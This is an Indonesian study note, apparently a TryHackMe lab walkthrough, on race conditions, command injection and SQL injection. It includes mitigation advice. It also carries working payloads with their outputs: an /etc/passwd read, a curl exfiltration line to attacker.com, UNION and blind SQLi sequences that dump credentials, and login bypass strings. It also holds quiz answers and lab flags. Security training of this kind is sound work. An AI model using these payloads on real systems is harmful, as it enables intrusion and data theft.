Introduction to Web Hacking Part 3
Race Conditions
Introduction
Race condition adalah kerentanan di mana hasil program dipengaruhi oleh timing eksekusi saat beberapa proses/thread mengakses data yang sama secara bersamaan.
Penyebab
- Tidak ada lock/synchronization
- Banyak request diproses secara paralel
- Data diakses & diubah bersamaan
Contoh Kasus
- Menggunakan gift card $10 berulang untuk bayar $100
- Menggunakan diskon berkali-kali dalam satu transaksi
- Transfer uang melebihi saldo
Multi Threading
Program
Program adalah sekumpulan instruksi statis untuk menjalankan tugas tertentu (belum dieksekusi).
Analogi
- Seperti resep → tidak berguna sampai dijalankan
Process
Process = program yang sedang dijalankan (aktif/dinamis)
Komponen
- Program → kode yang dijalankan
- Memory → penyimpanan sementara
- State → kondisi proses
State Penting
- New → dibuat
- Ready → siap jalan
- Running → sedang dieksekusi
- Waiting → menunggu I/O
- Terminated → selesai
Thread
Thread adalah unit eksekusi ringan dalam process yang berbagi resource yang sama.
Analogi
- Process = mesin kopi
- Thread = portafilter (bisa melayani beberapa pesanan sekaligus)
Multi-Threading
Konsep
Satu process bisa menjalankan banyak thread secara paralel untuk menangani banyak request sekaligus.
Model Eksekusi
Serial
- 1 process, 1 request per waktu
- User lain → antri
Parallel (Multi-threading)
- 1 process, banyak thread
- Banyak request → diproses bersamaan
- You downloaded an instruction booklet on how to make an origami crane. What would this instruction booklet resemble in computer terms?
Program
- What is the name of the state where a process is waiting for an I/O event?
Waiting
Race Condition
Race condition terjadi ketika beberapa thread/proses mengakses & mengubah data yang sama secara bersamaan, sehingga hasil akhirnya tidak konsisten.
Analogi Dunia Nyata
- Dua orang memesan meja yang sama di restoran
- Keduanya melihat meja masih kosong
- Keduanya berhasil reservasi → konflik
Inti
- Ada delay (window waktu) sebelum status diperbarui
Contoh Kasus
Contoh A
- Saldo: $100
- Thread 1 tarik $45
- Thread 2 tarik $35 (masih lihat $100)
Masalah
- Update tidak sinkron → saldo jadi salah
Contoh B
- Saldo: $75
- Dua thread tarik $50
Masalah
- Harusnya gagal, tapi keduanya berhasil
TOCTOU (Time-of-Check to Time-of-Use)
Konsep
- Data dicek → lalu digunakan
- Tapi sebelum digunakan, data berubah oleh thread lain
Dampak
- Validasi jadi tidak akurat
Contoh Program (Inti)
- Dua thread update variabel yang sama (
x) - Hasil berbeda tiap run → tidak konsisten
Inti
- Thread “berlomba” mengubah data
Penyebab Race Condition
1. Parallel Execution
- Banyak request diproses bersamaan tanpa kontrol
2. Database Operations
- Read → modify → write tanpa lock
3. Third-party Services
- API/library tidak handle concurrent access dengan baik
- Does the presented Python script guarantee which thread will reach 100% first? (Yea/Nay)
Nay
- In the second execution of the Python script, what is the name of the thread that reached 100% first?
Thread-1
Web Application Architecture
Client-Server Model
- Client → mengirim request (browser)
- Server → memproses & mengirim response
- Komunikasi terjadi melalui jaringan (HTTP)
Arsitektur Web (3-Tier)
Presentation Tier
- Browser (HTML, CSS, JS)
Application Tier
- Logic aplikasi (backend: Node.js, PHP, dll)
Data Tier
- Database (MySQL, PostgreSQL)
Inti
- Request mengalir: Client → Server → Database → Server → Client
Konsep State (Status Program)
Contoh: Transfer Uang
- Klik transfer
- Cek saldo
- Jika cukup → kirim uang
- Jika tidak → error
State
- Belum transfer
- Transfer berhasil
Contoh: Coupon / Diskon
- Input kode
- Validasi
- Terapkan diskon
State
- Belum pakai
- Sudah dipakai
Realita: Lebih Banyak State
Contoh Detail
- Checking validity
- Checking constraint
- Applying coupon
- Recalculating total
Inti
- Banyak state tersembunyi di antara proses
Hubungan dengan Race Condition
Masalah Utama
- Ada time window antara:
- Validasi
- Eksekusi
Contoh
- Coupon belum ditandai “dipakai”
- Request lain masuk → bisa dipakai lagi
Kenapa Bisa Terjadi?
- Proses tidak instan (butuh waktu)
- Tidak ada lock/synchronization
- Multiple request masuk hampir bersamaan
- How many states did the original state diagram of “validating and conducting money transfer” have?
2 2 states: “Belum transfer” & “Transfer berhasil”
- How many states did the updated state diagram of “validating and conducting money transfer” have?
3 3 states: “Belum transfer”, “Checking validity”, “Transfer berhasil”
- How many states did the final state diagram of “validating coupon codes and applying discounts” have?
5 5 states: “Belum pakai”, “Checking validity”, “Checking constraint”, “Applying coupon”, “Recalculating total”
Exploitation Race Condition
Tujuan
Menguji apakah aplikasi rentan race condition dengan cara mengirim banyak request transfer secara bersamaan untuk bypass validasi saldo.
1. Analisis Awal
- Login ke aplikasi
- Fitur: Transfer pulsa/credit
- Gunakan Burp Suite (Proxy → HTTP History)
Temuan
- Request penting: POST transfer
- Parameter:
- nomor tujuan
- jumlah transfer
2. Uji Normal
- Kirim:
- nominal kecil → sukses
- nominal besar (melebihi saldo) → gagal
Inti
- Ada validasi saldo di server
3. Kirim ke Repeater
- Klik kanan request → Send to Repeater
- Buat tab group
- Duplicate request (±20x)
4. Metode Pengiriman
Sequence (Berurutan)
- Request dikirim satu per satu
Hasil
- Sebagian kecil sukses
- Sisanya gagal
Alasan
- Server sempat update saldo antar request
Parallel (Bersamaan)
- Semua request dikirim hampir di waktu yang sama
Hasil
- Semua request berhasil
- Saldo bisa dikuras / melebihi limit
5. Kenapa Bisa Berhasil?
Inti Race Condition
- Semua request:
- Cek saldo → masih cukup
- Belum sempat diupdate
- Semua lolos validasi
6. Teknik Sinkronisasi (Burp)
HTTP/1
- Last-byte sync
- Kirim hampir semua data
- Tahan byte terakhir
- Kirim barengan → request tiba bersamaan
HTTP/2+
- Bisa kirim banyak request dalam 1 paket
7. Inti Eksploitasi
- Cari endpoint:
- Transfer
- Coupon
- Balance update
- Kirim request:
- Cepat & paralel
- Target:
- Melewati validasi sebelum update




duplicate 20x
Metode Pengiriman Request (Burp Repeater)
Opsi yang Tersedia
- Sequence (single connection)
- Sequence (separate connections)
- Parallel (bersamaan)
1. Sequence (Single Connection)
Cara Kerja
- Semua request dikirim berurutan dalam 1 koneksi TCP
- Koneksi ditutup setelah semua request selesai
Kegunaan
- Testing client-side desync
Karakteristik
- Tidak benar-benar bersamaan
- Server punya waktu untuk update state
2. Sequence (Separate Connections)
Cara Kerja
- Setiap request:
- Buka koneksi
- Kirim request
- Tutup koneksi
- Diulang untuk semua request
Hasil Observasi
- Beberapa request berhasil (awal)
- Sisanya gagal
Kenapa?
- Request pertama:
- Masih valid (saldo cukup)
- Request berikutnya:
- Sudah kena update → gagal
Insight
- Ada delay antar request → race condition sulit terjadi
3. Parallel (Bersamaan)
Cara Kerja
- Semua request dikirim hampir di waktu yang sama
Hasil Observasi
- Semua request berhasil
- Dikirim dalam window sangat kecil (~0.5 ms)
Kenapa Parallel Berhasil?
Inti Race Condition
- Semua request:
- Cek saldo sebelum ada update
- Server belum sempat:
- Update state
- Semua lolos validasi
Teknik Sinkronisasi Request
HTTP/2+
- Banyak request dikirim dalam 1 TCP packet
- Sangat sinkron → timing hampir identik
HTTP/1 → Last-Byte Synchronization
Cara Kerja
- Kirim semua request tanpa byte terakhir
- Tahan byte terakhir
- Kirim byte terakhir bersamaan
Hasil
- Semua request “selesai” di waktu yang sama
- Server memprosesnya seolah bersamaan
Kenapa Packet Berbeda?
Sequence
- ±10 packet per request
- Dikirim normal (langsung selesai)
Parallel
- ±12 packet per request
- Ada tambahan mekanisme:
- Penahanan byte
- Sinkronisasi pengiriman
- You need to get either of the accounts to get more than $100 of credit to get the flag. What is the flag that you obtained?
THM{PHONE-RACE}
Detection & Mitigation
Detection (Deteksi)
Tantangan
- Sulit dideteksi dari sisi sistem
- Abuse kecil (misalnya double coupon) sering tidak terlihat tanpa analisis log
Pendekatan Pentester
- Pahami behavior normal
- Contoh kontrol:
- use once
- vote sekali
- limit saldo
- cooldown waktu
- Contoh kontrol:
- Cari celah bypass
- Kirim request berulang
- Uji apakah limit bisa dilewati
- Analisis State
- Identifikasi:
- validasi
- eksekusi
- Cari time window antar state
- Identifikasi:
- Gunakan Tools
- Burp Suite Repeater
- (opsional) Turbo Intruder
Mitigation (Pencegahan)
1. Synchronization (Lock)
- Hanya 1 thread boleh akses resource
- Thread lain harus menunggu
Tujuan
- Mencegah akses bersamaan
2. Atomic Operations
- Operasi dijalankan sebagai satu kesatuan (tidak bisa diinterupsi)
Contoh
- Check saldo + update saldo → jadi satu proses
3. Database Transactions
- Banyak operasi digabung jadi 1 transaksi
Sifat
- Semua berhasil ATAU semua gagal
Manfaat
- Menjaga konsistensi data
- Mencegah konflik antar request
Inti Penting
- Detection:
- Fokus ke bypass limit & timing
- Mitigation:
- Gunakan:
- Lock
- Atomic operation
- Transaction
- Gunakan:
Challenge Web App
Tujuan
Membuat salah satu akun memiliki saldo > $1000 dengan memanfaatkan race condition.
Strategi Umum
1. Analisis Fitur
- Login salah satu akun
- Cari fitur:
- Transfer uang
- Deposit / withdraw
- Perhatikan:
- Request POST
- Parameter (amount, target, dll)
2. Pahami Behavior Normal
- Coba:
- Transfer kecil → sukses
- Transfer besar (melebihi saldo) → gagal
Inti
- Sistem punya validasi saldo
3. Cari Celah Race Condition
Target Utama
- Endpoint yang:
- Check saldo → lalu update saldo
- Biasanya:
- Transfer
- Withdraw
4. Eksploitasi (Step-by-Step)
a. Intercept Request
- Gunakan Burp Proxy
- Ambil request transfer
b. Kirim ke Repeater
- Right click → Send to Repeater
- Buat group
- Duplicate request (10–30x)
c. Set Nominal
- Gunakan nominal:
- Mendekati batas saldo
- (misalnya saldo $100 → kirim $100 berulang)
d. Kirim Parallel
- Pilih:
- Send group in parallel
5. Hasil yang Diharapkan
- Semua request lolos validasi
- Saldo:
- Bisa jadi negatif
- Atau bertambah tidak wajar
6. Tips Penting
Timing
- Gunakan parallel (bukan sequence)
Jumlah Request
- 10–50 request biasanya cukup
Eksperimen
- Coba:
- nominal berbeda
- akun berbeda
Intuisi Exploit
- Semua request:
- Cek saldo → masih cukup
- Belum sempat update → semua lolos
- What flag did you obtain after getting an account’s balance above $1000?
THM{BANK-RED-FLAG}
Command Injection
Introduction
Pengertian
Command Injection adalah kerentanan di mana attacker bisa menjalankan perintah OS melalui aplikasi web.
Cara Kerja
- Aplikasi menerima input user
- Input tidak difilter
- Input dijalankan sebagai perintah sistem (OS command)
Contoh
whoami- Digunakan untuk mengetahui user yang menjalankan aplikasi
Dampak
- Eksekusi perintah jarak jauh (RCE)
- Akses file sistem & data sensitif
- Kontrol penuh terhadap server (tergantung privilege)
Discovering Command Injection
Penyebab Command Injection
Konsep Dasar
Command Injection terjadi karena aplikasi langsung meneruskan input user ke sistem operasi tanpa validasi.
Contoh Alur (Kasus PHP)
<?php
$songs = "/var/www/html/songs";
if (isset($_GET["title"])) {
$title = $_GET["title"];
$command = "grep $title /var/www/html/songtitle.txt";
$search = exec($command);
if ($search == "") {
$return = "<p>The requested song</p><p> $title does </p><b>not</b><p> exist!</p>";
} else {
$return = "<p>The requested song</p><p> $title does </p><b>exist!</b>";
}
echo $return;
}
?>Proses Normal
- File lagu (MP3) disimpan di server
- User memasukkan judul lagu → disimpan di variabel
$title - Aplikasi menjalankan perintah:
grep $title songtitle.txt
- Hasil menentukan apakah lagu ada atau tidak
Masalah Utama
- Input user langsung dimasukkan ke command
- Tidak ada filter / sanitasi
Cara Eksploitasi
Ide Attacker
Alih-alih hanya mencari lagu, attacker bisa menyisipkan command tambahan.
Contoh
test; cat /etc/passwdHasil
grep test songtitle.txtdijalankan- Lalu
cat /etc/passwdjuga dijalankan - Server membocorkan file sensitif
Contoh dalam Python (Flask)
import subprocess
from flask import Flask
app = Flask(__name__)
def execute_command(shell):
return subprocess.Popen(
shell,
shell=True,
stdout=subprocess.PIPE
).stdout.read()
@app.route('/<shell>')
def command_server(shell):
return execute_command(shell)
if __name__ == "__main__":
app.run()Cara Kerja
- Web server dibuat dengan Flask
- Input dari URL digunakan sebagai command
- Dieksekusi dengan
subprocess
Contoh
http://flaskapp.thm/whoamiHasil
- Server menjalankan command
whoami - Output dikirim ke user
Inti Kerentanan
- Input user → langsung jadi command
- Tidak ada pembatasan → attacker bebas eksekusi
Kenapa Berbahaya?
- Bisa membaca file sistem
- Bisa menjalankan command apa saja
- Bisa escalate ke RCE penuh
- What variable stores the user's input in the PHP code snippet in this task?
$title
- What HTTP method is used to retrieve data submitted by a user in the PHP code snippet?
GET
- If I wanted to execute the id command in the Python code snippet, what route would I need to visit?
/id
Exploitation Command Injection
Konsep Dasar
Command Injection terjadi saat input user bisa digabungkan dengan command OS menggunakan operator seperti:
;→ jalankan command berikutnya&&→ jalankan jika sukses&→ jalankan paralel
Metode Deteksi
1. Blind Command Injection
Pengertian
- Tidak ada output langsung dari aplikasi
- Harus lihat perubahan perilaku
Teknik Deteksi
- Delay (waktu)
pingsleep
- Redirect output ke file
- simpan hasil → baca dengan command lain
Contoh
test; sleep 5Jika response delay → kemungkinan vuln
2. Verbose Command Injection
Pengertian
- Output langsung terlihat di aplikasi
Contoh
test; whoamiUsername langsung tampil
Teknik Tambahan (Blind)
Redirect Output
test; whoami > output.txt- Simpan hasil ke file
test; cat output.txt- Baca hasil
Data Exfiltration (curl)
test; curl http://attacker.com?data=$(whoami)Kirim data ke server attacker
Payload Umum
Linux
whoami→ cek userls→ lihat fileping/sleep→ delaync→ reverse shell
Windows
whoami→ cek userdir→ list fileping/timeout→ delay
Inti Penting
- Blind → lihat efek (delay/file)
- Verbose → lihat output langsung
- Gunakan operator (
; && &) untuk chaining command
- What payload would I use if I wanted to determine what user the application is running as?
whoami
- What popular network tool would I use to test for blind command injection on a Linux machine?
ping
- What payload would I use to test a Windows machine for blind command injection?
timeout
Remediation Command Injection
Vulnerable Functions (PHP)
Fungsi Berbahaya
exec()system()passthru()
Risiko
- Menjalankan input user langsung ke OS
- Tanpa validasi → Command Injection
Input Sanitisation
Konsep
Membatasi input user hanya ke format tertentu
Contoh
- Hanya angka (
0-9) - Blok karakter berbahaya:
; & | > < /
Contoh Validasi (PHP)
- Gunakan
filter_input()untuk memastikan input sesuai tipe - Jika tidak valid → ditolak
Inti
- Jangan percaya input user
- Validasi sebelum diproses
Teknik Pencegahan Utama
1. Hindari System Call
- Jangan gunakan fungsi OS jika tidak perlu
2. Validasi Input (Whitelist)
- Hanya izinkan karakter tertentu
- Lebih aman daripada blacklist
3. Escaping Input
- Encode karakter spesial agar tidak dianggap command
4. Gunakan Alternatif Aman
- Gunakan fungsi internal (bukan shell command)
Bypass Filter (Dari Sisi Attacker)
Teknik Umum
- Encoding:
- Hex (
\x), URL encode
- Hex (
- Obfuscation:
- Manipulasi string
- Abuse logic aplikasi
Contoh
- Filter blok
" "→ pakai representasi lain
Inti Penting
- Vulnerability muncul karena:
- Input user → langsung ke OS
- Solusi:
- Validasi + sanitasi + hindari system call
- What is the term for the process of "cleaning" user input that is provided to an application?
sanitisation
Practical
127.0.0.1
# PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data. 64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.021 ms 64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.032 ms 64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.030 ms 64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.029 ms --- 127.0.0.1 ping statistics --- 4 packets transmitted, 4 received, 0% packet loss, time 3064ms rtt min/avg/max/mdev = 0.021/0.028/0.032/0.004 ms
127.0.0.1; whoami
# PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data. 64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.019 ms 64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.031 ms 64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.031 ms 64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.031 ms --- 127.0.0.1 ping statistics --- 4 packets transmitted, 4 received, 0% packet loss, time 3074ms rtt min/avg/max/mdev = 0.019/0.028/0.031/0.005 ms www-data
127.0.0.1 > /dev/null ; whoami
# www-data
127.0.0.1 > /dev/null && cat /home/tryhackme/flag.txt
# THM{COMMAND_INJECTION_COMPLETE}- What user is this application running as?
www-data
- What are the contents of the flag located in /home/tryhackme/flag.txt?
THM{COMMAND_INJECTION_COMPLETE}
SQL Injection
Introduction
Pengertian
SQL Injection (SQLi) adalah serangan pada database aplikasi web dengan menyisipkan query berbahaya melalui input user yang tidak divalidasi.
Dampak
- Mengambil (steal) data sensitif
- Mengubah (alter) atau menghapus (delete) data
- Melewati autentikasi (login bypass) ➡ Termasuk vulnerability lama namun sangat berbahaya
Penyebab Utama
Input user tidak divalidasi atau langsung digunakan dalam query database.
- What does SQL stand for?
Structured Query Language
What is a Database?
Pengertian Database
Database adalah sistem penyimpanan data secara terorganisir yang dikelola oleh DBMS (Database Management System).
Jenis DBMS
- Relational → berbasis tabel (contoh: MySQL, PostgreSQL, SQL Server, SQLite)
- Non-Relational (NoSQL) → tidak menggunakan tabel (contoh: MongoDB, Cassandra)
Struktur Database
Database & Tabel
- Satu DBMS bisa memiliki banyak database
- Setiap database berisi tabel untuk menyimpan data berbeda (misal: user, produk, order)
Tabel
- Struktur seperti grid (baris & kolom)
- Menyimpan data secara terorganisir
Kolom (Field)
- Nama unik di setiap tabel
- Menentukan tipe data (integer, string, date, dll)
- Bisa memiliki auto-increment → menghasilkan ID unik (primary key)
Baris (Row/Record)
- Data aktual dalam tabel
- Setiap baris = satu entitas data
Relational vs Non-Relational
Relational Database
- Data disimpan dalam tabel (baris & kolom)
- Menggunakan primary key untuk identitas unik
- Antar tabel bisa saling terhubung (relasi)
Non-Relational (NoSQL)
- Tidak menggunakan tabel tetap
- Struktur fleksibel (tiap data bisa berbeda)
- Cocok untuk data kompleks/dinamis
- What is the acronym for the software that controls a database?
DBMS
- What is the name of the grid-like structure which holds the data?
table
What is SQL
Berikut rangkuman yang singkat, padat, dan terstruktur:
SQL (Structured Query Language)
Pengertian
SQL adalah bahasa untuk berinteraksi dengan database menggunakan query (statement). Digunakan untuk mengambil, menambah, mengubah, dan menghapus data.
Tidak case-sensitive (huruf besar/kecil tidak berpengaruh)
Perintah Dasar SQL
SELECT (Mengambil Data)
SELECT * FROM users;→ ambil semua kolomSELECT username,password FROM users;→ ambil kolom tertentu
Filter Data
WHERE→ kondisi datausername='admin'→ sama dengan!=→ tidak samaAND / OR→ kombinasi kondisi
LIMIT
LIMIT 1→ ambil 1 dataLIMIT 1,1→ skip 1 data, ambil 1
LIKE (Pencarian Pola)
a%→ diawali huruf tertentu%n→ diakhiri huruf tertentu%mi%→ mengandung kata tertentu
UNION (Gabungkan Data)
- Menggabungkan hasil dari beberapa SELECT
- Syarat:
- Jumlah kolom sama
- Tipe data sesuai
- Urutan kolom sama
INSERT (Menambah Data)
- Menambahkan data baru ke tabel
- Contoh:
INSERT INTO users (username,password) VALUES ('bob','password');
UPDATE (Mengubah Data)
- Mengubah data yang ada
- Gunakan
WHEREagar spesifik - Contoh:
- update username/password berdasarkan kondisi
DELETE (Menghapus Data)
- Menghapus data dari tabel
- Bisa pakai
WHEREuntuk target tertentu - Tanpa
WHERE→ semua data terhapus (berbahaya) ⚠️
- What SQL statement is used to retrieve data?
SELECT
- What SQL clause can be used to retrieve data from multiple tables?
UNION
- What SQL statement is used to add data?
INSERT
What is SQL Injection?
Pengertian
SQL Injection terjadi ketika input user langsung dimasukkan ke query SQL tanpa validasi, sehingga attacker bisa memodifikasi query yang dijalankan database.
Contoh Kasus
Query Normal
URL:
https://website.thm/blog?id=1Query:
SELECT * FROM blog WHERE id=1 AND private=0 LIMIT 1;➡ Mengambil artikel id=1 yang bersifat publik (private=0)
Query yang Dieksploitasi
URL:
https://website.thm/blog?id=2;--Query menjadi:
SELECT * FROM blog WHERE id=2;-- AND private=0 LIMIT 1;Penjelasan
;→ mengakhiri query--→ menjadikan sisa query sebagai komentar
➡ Query yang dijalankan:
SELECT * FROM blog WHERE id=2;➡ Hasil: Data private tetap bisa diakses ❗
Jenis SQL Injection
- In-Band SQLi → hasil langsung terlihat (contoh di atas)
- Blind SQLi → tidak ada output langsung, perlu analisis respon
- Out-of-Band SQLi → menggunakan channel lain (misalnya DNS/HTTP)
- What character signifies the end of an SQL query?
;
In-Band SQL Injection
Pengertian
Jenis SQLi paling mudah, di mana eksploitasi dan hasilnya menggunakan jalur yang sama (langsung tampil di halaman web).
Jenis In-Band SQLi
Error-Based SQLi
- Memanfaatkan error message database yang muncul di browser
- Digunakan untuk mengetahui struktur database (nama DB, tabel, kolom) ➡ Sangat efektif untuk enumerasi
Union-Based SQLi
- Menggunakan
UNION+SELECTuntuk menampilkan data tambahan - Digunakan untuk extract data dalam jumlah besar
Langkah Eksploitasi (Ringkas)
1. Deteksi Vulnerability
- Input karakter seperti
'atau"➡ Jika muncul error → ada SQLi
2. Menentukan Jumlah Kolom
- Coba:
1 UNION SELECT 11 UNION SELECT 1,21 UNION SELECT 1,2,3➡ Sampai error hilang → jumlah kolom valid
3. Menampilkan Data Sendiri
- Gunakan:
0 UNION SELECT 1,2,3➡ Query asli tidak menghasilkan data → hasil UNION tampil
4. Enumerasi Database
- Nama database:
database()
- Daftar tabel:
information_schema.tables
- Daftar kolom:
information_schema.columns
➡ Gunakan group_concat() untuk gabungkan hasil
5. Ambil Data Sensitif
- Contoh:
- Ambil
username&passworddari tabel target ➡ Bisa mendapatkan kredensial user
- Ambil
'1 OR 1 == 1';--
# My First Article
# Article ID: 1
# Hi and welcome to my very first article for my new website......
1 UNION SELECT 1
1 UNION SELECT 1,2
# SQLSTATE[21000]: Cardinality violation: 1222 The used SELECT statements have a different number of columns
1 UNION SELECT 1,2,3
# My First Article, Article ID: 1
# Hi and welcome to my very first article for my new website......
0 UNION SELECT 1,2,3
# 2
# Article ID: 1
# 3
0 UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'sqli_one'
0 UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()
# article,staff_users
0 UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name='staff_users'
# id,password,username
0 UNION SELECT 1,2,group_concat(username,':',password SEPARATOR '<br>') FROM staff_users
# admin:p4ssword
# martin:pa$$word
# jim:work123- What is the flag after completing level 1?
THM{SQL_INJECTION_3840}
Blind SQLI - Authentication Bypass
Pengertian
Blind SQLi adalah teknik SQL Injection di mana tidak ada error/output jelas, tetapi query tetap berjalan. ➡ Keberhasilan dilihat dari respon aplikasi (true/false)
Authentication Bypass
Konsep Dasar
- Login form mengecek ke database:
- “Apakah username & password cocok?”
- Database hanya memberi hasil:
- True (valid) atau False (invalid) ➡ Kita tidak perlu data asli, cukup membuat query menjadi True
Contoh Query Login
SELECT * FROM users
WHERE username='%username%'
AND password='%password%'
LIMIT 1;Teknik Bypass
Payload
Masukkan di field password:
' OR 1=1;--Hasil Query
SELECT * FROM users
WHERE username=''
AND password='' OR 1=1;Penjelasan
1=1→ selalu trueOR→ jika salah satu true, hasil tetap true--→ komentar, abaikan sisa query
➡ Query selalu true → login berhasil tanpa kredensial valid
admin
' OR 1 = 1;--- What is the flag after completing level two? (and moving to level 3)
THM{SQL_INJECTION_9581}
Blind SQLI - Boolean-Based
Pengertian
Boolean-Based SQLi adalah teknik Blind SQLi yang menggunakan respon boolean (true/false) seperti:
- true / false
- yes / no
- 1 / 0
Respon ini digunakan untuk menentukan apakah payload berhasil atau tidak.
Konsep Dasar
- Tidak ada error message
- Informasi didapat dari perubahan respon aplikasi
- Bisa digunakan untuk enumerasi database secara bertahap
Contoh Kasus
Endpoint:
https://website.thm/checkuser?username=adminResponse:
{"taken": true}➡ Menunjukkan username sudah ada
Query:
SELECT * FROM users WHERE username='%username%' LIMIT 1;Langkah Eksploitasi
1. Menentukan Jumlah Kolom
Gunakan UNION:
admin123' UNION SELECT 1;--
admin123' UNION SELECT 1,2;--
admin123' UNION SELECT 1,2,3;--➡ Respon true → jumlah kolom valid (contoh: 3 kolom)
2. Menemukan Nama Database
Gunakan:
admin123' UNION SELECT 1,2,3 WHERE database() LIKE '%';--%→ wildcard (match semua)- Uji huruf:
'a%','b%', dst ➡ Ditemukan nama database:sqli_three
3. Enumerasi Nama Tabel
Gunakan:
admin123' UNION SELECT 1,2,3
FROM information_schema.tables
WHERE table_schema='sqli_three'
AND table_name LIKE 'a%';--➡ Ulangi hingga ditemukan tabel: users
4. Enumerasi Nama Kolom
Gunakan:
admin123' UNION SELECT 1,2,3
FROM information_schema.columns
WHERE table_schema='sqli_three'
AND table_name='users'
AND column_name LIKE 'a%';➡ Tambahkan filter untuk hindari duplikasi:
AND column_name != 'id'➡ Ditemukan kolom:
- id
- username
- password
5. Mencari Username
admin123' UNION SELECT 1,2,3
FROM users
WHERE username LIKE 'a%';➡ Ditemukan username: admin
6. Mencari Password
admin123' UNION SELECT 1,2,3
FROM users
WHERE username='admin'
AND password LIKE 'a%';➡ Coba karakter satu per satu
➡ Ditemukan password: 3845
# SELECT * FROM users where USERNAME '%username%' LIMIT 1;
admin
# {"taken":true}
admin123' UNION SELECT 1;--
' # {"taken":false}
admin123' UNION SELECT 1,2;--
' # {"taken":false}
admin123' UNION SELECT 1,2,3;--
' # {"taken":true}
admin123' UNION SELECT 1,2,3 WHERE database() LIKE '%';--
' # {"taken":true}admin123' UNION SELECT 1,2,3 WHERE database() LIKE 'a%';--
' # {"taken":false}
admin123' UNION SELECT 1,2,3 WHERE database() LIKE 'b%';--
' # {"taken":false}
# ... a-z, A-Z, 0-9
admin123' UNION SELECT 1,2,3 WHERE database() LIKE 's%';--
' # {"taken":true}
admin123' UNION SELECT 1,2,3 WHERE database() LIKE 'sa%';--
' # {"taken":false}
admin123' UNION SELECT 1,2,3 WHERE database() LIKE 'sq%';--
' # {"taken":true}
admin123' UNION SELECT 1,2,3 WHERE database() LIKE 'sqli_three%';--
' # {"taken":true}➡ ditemukan nama database: sqli_three
admin123' UNION SELECT 1,2,3 FROM information_schema.tables WHERE table_schema = 'sqli_three' AND table_name LIKE 'a%';--
' # {"taken":false}
admin123' UNION SELECT 1,2,3 FROM information_schema.tables WHERE table_schema = 'sqli_three' AND table_name LIKE 'u%';--
' # {"taken":true}
admin123' UNION SELECT 1,2,3 FROM information_schema.tables WHERE table_schema = 'sqli_three' AND table_name LIKE 'users%';--
' # {"taken":true}➡ ditemukan nama tabel: users
admin123' UNION SELECT 1,2,3 FROM information_schema.columns WHERE table_schema = 'sqli_three' AND table_name = 'users' AND column_name LIKE 'a%' AND column_name != 'id';--
' # {"taken":false}
admin123' UNION SELECT 1,2,3 FROM information_schema.columns WHERE table_schema = 'sqli_three' AND table_name = 'users' AND column_name LIKE 'u%' AND column_name != 'id';--
' # {"taken":true}
admin123' UNION SELECT 1,2,3 FROM information_schema.columns WHERE table_schema = 'sqli_three' AND table_name = 'users' AND column_name LIKE 'username%' AND column_name != 'id';--
' # {"taken":true}
admin123' UNION SELECT 1,2,3 FROM information_schema.columns WHERE table_schema = 'sqli_three' AND table_name = 'users' AND column_name LIKE 'p%' AND column_name != 'id';--
' # {"taken":true}
admin123' UNION SELECT 1,2,3 FROM information_schema.columns WHERE table_schema = 'sqli_three' AND table_name = 'users' AND column_name LIKE 'password%' AND column_name != 'id';--
' # {"taken":true}➡ ditemukan nama colom: username, dan password
admin123' UNION SELECT 1,2,3 FROM users WHERE username LIKE 'a%';--
' # {"taken":true}
admin123' UNION SELECT 1,2,3 FROM users WHERE username LIKE 'admin%';--
' # {"taken":true}➡ ditemukan username: admin
admin123' UNION SELECT 1,2,3 FROM users WHERE username='admin' AND password LIKE 'a%';--
' # {"taken":false}
admin123' UNION SELECT 1,2,3 FROM users WHERE username='admin' AND password LIKE '3%';--
' # {"taken":true}
admin123' UNION SELECT 1,2,3 FROM users WHERE username='admin' AND password LIKE '3845%';--
' # {"taken":true}➡ ditemukan password: 3845
login dengan credensial admin:3845, dan berhasil mendapatkan flag
- What is the flag after completing level three?
THM{SQL_INJECTION_1093}
Blind SQLI - Time-Based
Pengertian
Time-Based SQLi adalah teknik Blind SQLi yang menggunakan waktu respon (delay) sebagai indikator keberhasilan query. ➡ Tidak ada output atau error, hanya melihat ada delay atau tidak
Konsep Dasar
- Menggunakan fungsi seperti:
SLEEP(x)→ menunda respon selama x detik
- Delay hanya terjadi jika query berhasil dieksekusi
Menentukan Jumlah Kolom
Coba payload:
admin123' UNION SELECT SLEEP(5);--➡ Tidak ada delay → gagal
Tambahkan kolom:
admin123' UNION SELECT SLEEP(5),2;--➡ Delay 5 detik → jumlah kolom benar (2 kolom)
Teknik Enumerasi
Mirip Boolean-Based, tetapi indikatornya delay waktu
Contoh (Cek Nama Database)
admin123' UNION SELECT SLEEP(5),2
WHERE database() LIKE 'u%';--- Jika delay terjadi → kondisi TRUE
- Jika tidak → kondisi FALSE
➡ Gunakan pola:
'a%','b%', dst untuk menemukan karakter satu per satu
admin123' UNION SELECT SLEEP(5);--
' # no delay
admin123' UNION SELECT SLEEP(5),2;--
' # delay 5 detik (berhasil)➡ ditemukan jumlah kolom: 2
admin123' UNION SELECT SLEEP(5),2 WHERE database() LIKE 'a%';--
' # no delay
admin123' UNION SELECT SLEEP(5),2 WHERE database() LIKE 'u%';--
' # no delay
admin123' UNION SELECT SLEEP(5),2 WHERE database() LIKE 's%';--
' # delay 5 detik (berhasil)
admin123' UNION SELECT SLEEP(5),2 WHERE database() LIKE 'sqli_%';--
' # delay 5 detik (berhasil)
admin123' UNION SELECT SLEEP(5),2 WHERE database() LIKE 'sqli_f%';--
' # delay 5 detik (berhasil)
admin123' UNION SELECT SLEEP(5),2 WHERE database() LIKE 'sqli_four%';--
' # delay 5 detik (berhasil)➡ ditemukan nama database: sqli_four
admin123' UNION SELECT SLEEP(5),2 FROM information_schema.tables WHERE table_schema = 'sqli_four' AND table_name LIKE 'a%';--
' # delay 5 detik (berhasil)
